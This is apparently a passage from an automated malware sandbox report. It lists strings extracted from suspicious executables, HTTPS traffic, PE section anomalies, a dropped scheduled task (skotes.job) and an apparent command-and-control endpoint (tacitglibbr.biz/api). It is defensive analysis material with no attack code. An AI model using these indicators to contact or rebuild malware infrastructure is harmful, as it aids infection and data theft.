Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2275677985.000000000BA00000.00000004.00000020.00020000.00000000.sdmp, BFCGDAAKFHIDBFIDBKFH.4.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2275677985.000000000BA00000.00000004.00000020.00020000.00000000.sdmp, BFCGDAAKFHIDBFIDBKFH.4.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta
Source: 4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, GHIJJEGD.4.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.0000000000835000.00000004.00000020.00020000.00000000.sdmp, GHIJJEGD.4.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.0000000000835000.00000004.00000020.00020000.00000000.sdmp, GHIJJEGD.4.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2275677985.000000000BA00000.00000004.00000020.00020000.00000000.sdmp, BFCGDAAKFHIDBFIDBKFH.4.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2275677985.000000000BA00000.00000004.00000020.00020000.00000000.sdmp, BFCGDAAKFHIDBFIDBKFH.4.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.0000000000835000.00000004.00000020.00020000.00000000.sdmp, GHIJJEGD.4.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, GHIJJEGD.4.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268472466.0000000000835000.00000004.00000020.00020000.00000000.sdmp, GHIJJEGD.4.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_106.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_106.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_106.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_106.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: BFCGDAAKFHIDBFIDBKFH.4.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_106.8.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: IECGIEBAEBFIIECBGCBGDHCAFC.4.dr	String found in binary or memory: https://support.mozilla.org
Source: IECGIEBAEBFIIECBGCBGDHCAFC.4.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 4TPPuMwzSA.exe, 00000000.00000003.1466278746.00000000062AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: IECGIEBAEBFIIECBGCBGDHCAFC.4.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GNzbMA16ssY5
Source: 4TPPuMwzSA.exe, 00000000.00000003.1488723704.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1489752084.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1442183031.0000000005FF8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1492511030.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1491124712.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1532264303.000000000162C000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1492372678.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1491891684.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1489238865.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1392862125.0000000001602000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1576539233.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1490281273.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1514238489.0000000005FFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/
Source: 4TPPuMwzSA.exe, 00000000.00000003.1493700071.0000000005FFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/5V
Source: 4TPPuMwzSA.exe, 00000000.00000003.1493700071.0000000005FFB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1464661544.0000000005FFB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1464820110.0000000005FFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/MSWznTY69wwRW38B95EM
Source: 4TPPuMwzSA.exe, 00000000.00000003.1518646264.0000000006003000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1532264303.000000000162C000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1420668691.0000000001686000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1488234510.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1514400361.000000000162B000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1487839489.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1532264303.000000000169C000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1488112199.000000000600A000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1576583270.000000000162C000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1518431950.0000000006002000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1487739364.000000000600A000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1420552430.0000000001686000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1392788113.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/api
Source: 4TPPuMwzSA.exe, 00000000.00000003.1532264303.000000000162C000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1576583270.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/api=
Source: 4TPPuMwzSA.exe, 00000000.00000003.1514400361.000000000162B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/apir2
Source: 4TPPuMwzSA.exe, 00000000.00000003.1514400361.000000000162B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/es
Source: 4TPPuMwzSA.exe, 00000000.00000003.1576539233.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/o~Kg
Source: 4TPPuMwzSA.exe, 00000000.00000003.1576583270.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/pi
Source: 4TPPuMwzSA.exe, 00000000.00000003.1532264303.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/piw
Source: 4TPPuMwzSA.exe, 00000000.00000003.1514400361.000000000162B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/s
Source: 4TPPuMwzSA.exe, 00000000.00000003.1532264303.000000000162C000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1514400361.000000000162B000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1493402352.000000000162B000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1532264303.000000000169C000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1576583270.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz:443/api
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2275677985.000000000BA00000.00000004.00000020.00020000.00000000.sdmp, BFCGDAAKFHIDBFIDBKFH.4.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, GHIJJEGD.4.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, GHIJJEGD.4.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_106.8.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_106.8.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_106.8.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2275677985.000000000BA00000.00000004.00000020.00020000.00000000.sdmp, BFCGDAAKFHIDBFIDBKFH.4.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: IECGIEBAEBFIIECBGCBGDHCAFC.4.dr	String found in binary or memory: https://www.mozilla.org
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.000000000109C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IECGIEBAEBFIIECBGCBGDHCAFC.4.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.000000000109C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IECGIEBAEBFIIECBGCBGDHCAFC.4.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.000000000109C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 4TPPuMwzSA.exe, 00000000.00000003.1466278746.00000000062AD000.00000004.00000800.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000003.2135185885.000000000BC71000.00000004.00000020.00020000.00000000.sdmp, IECGIEBAEBFIIECBGCBGDHCAFC.4.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: IECGIEBAEBFIIECBGCBGDHCAFC.4.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 4TPPuMwzSA.exe, 00000000.00000003.1466278746.00000000062AD000.00000004.00000800.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000003.2135185885.000000000BC71000.00000004.00000020.00020000.00000000.sdmp, IECGIEBAEBFIIECBGCBGDHCAFC.4.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.000000000109C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: 4TPPuMwzSA.exe, 00000000.00000003.1466278746.00000000062AD000.00000004.00000800.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000003.2135185885.000000000BC71000.00000004.00000020.00020000.00000000.sdmp, IECGIEBAEBFIIECBGCBGDHCAFC.4.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822

Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49771 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: 4TPPuMwzSA.exe	Static PE information: section name:
Source: 4TPPuMwzSA.exe	Static PE information: section name: .idata
Source: 4TPPuMwzSA.exe	Static PE information: section name:
Source: B4U6J06FD2GOJV7081L.exe.0.dr	Static PE information: section name:
Source: B4U6J06FD2GOJV7081L.exe.0.dr	Static PE information: section name: .idata
Source: 0T9SUT3NIHPVYFO0WUKXI.exe.0.dr	Static PE information: section name:
Source: 0T9SUT3NIHPVYFO0WUKXI.exe.0.dr	Static PE information: section name: .idata
Source: 0T9SUT3NIHPVYFO0WUKXI.exe.0.dr	Static PE information: section name:
Source: random[1].exe.4.dr	Static PE information: section name:
Source: random[1].exe.4.dr	Static PE information: section name: .idata
Source: DBAEHCGHII.exe.4.dr	Static PE information: section name:
Source: DBAEHCGHII.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.18.dr	Static PE information: section name:
Source: skotes.exe.18.dr	Static PE information: section name: .idata

Source: C:\Users\user\Documents\DBAEHCGHII.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB6ECD0	4_2_6CB6ECD0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB0ECC0	4_2_6CB0ECC0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBEAC30	4_2_6CBEAC30
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBD6C00	4_2_6CBD6C00
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB1AC60	4_2_6CB1AC60
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB14DB0	4_2_6CB14DB0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC9CDC0	4_2_6CC9CDC0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBA6D90	4_2_6CBA6D90
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC3AD50	4_2_6CC3AD50
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBDED70	4_2_6CBDED70
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC98D20	4_2_6CC98D20
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB96E90	4_2_6CB96E90
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB1AEC0	4_2_6CB1AEC0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBB0EC0	4_2_6CBB0EC0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBF0E20	4_2_6CBF0E20
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBAEE70	4_2_6CBAEE70
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB1EFB0	4_2_6CB1EFB0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBEEFF0	4_2_6CBEEFF0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB10FE0	4_2_6CB10FE0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC58FB0	4_2_6CC58FB0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB16F10	4_2_6CB16F10
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBD2F70	4_2_6CBD2F70
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC50F20	4_2_6CC50F20
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB7EF40	4_2_6CB7EF40
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC168E0	4_2_6CC168E0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB60820	4_2_6CB60820
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB9A820	4_2_6CB9A820
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBE4840	4_2_6CBE4840
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBD09B0	4_2_6CBD09B0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBA09A0	4_2_6CBA09A0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBCA9A0	4_2_6CBCA9A0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC2C9E0	4_2_6CC2C9E0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB449F0	4_2_6CB449F0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB66900	4_2_6CB66900
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB48960	4_2_6CB48960
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB8EA80	4_2_6CB8EA80
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBC8A30	4_2_6CBC8A30
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBBEA00	4_2_6CBBEA00
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB8CA70	4_2_6CB8CA70
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBB0BA0	4_2_6CBB0BA0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC16BE0	4_2_6CC16BE0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC3A480	4_2_6CC3A480
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB564D0	4_2_6CB564D0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBAA4D0	4_2_6CBAA4D0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB9A430	4_2_6CB9A430
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB74420	4_2_6CB74420
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB28460	4_2_6CB28460
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB045B0	4_2_6CB045B0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB9E5F0	4_2_6CB9E5F0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBDA5E0	4_2_6CBDA5E0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC14540	4_2_6CC14540
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC58550	4_2_6CC58550
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBB0570	4_2_6CBB0570
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB72560	4_2_6CB72560
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB68540	4_2_6CB68540
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB6E6E0	4_2_6CB6E6E0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CBAE6E0	4_2_6CBAE6E0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB346D0	4_2_6CB346D0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB6C650	4_2_6CB6C650
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB3A7D0	4_2_6CB3A7D0
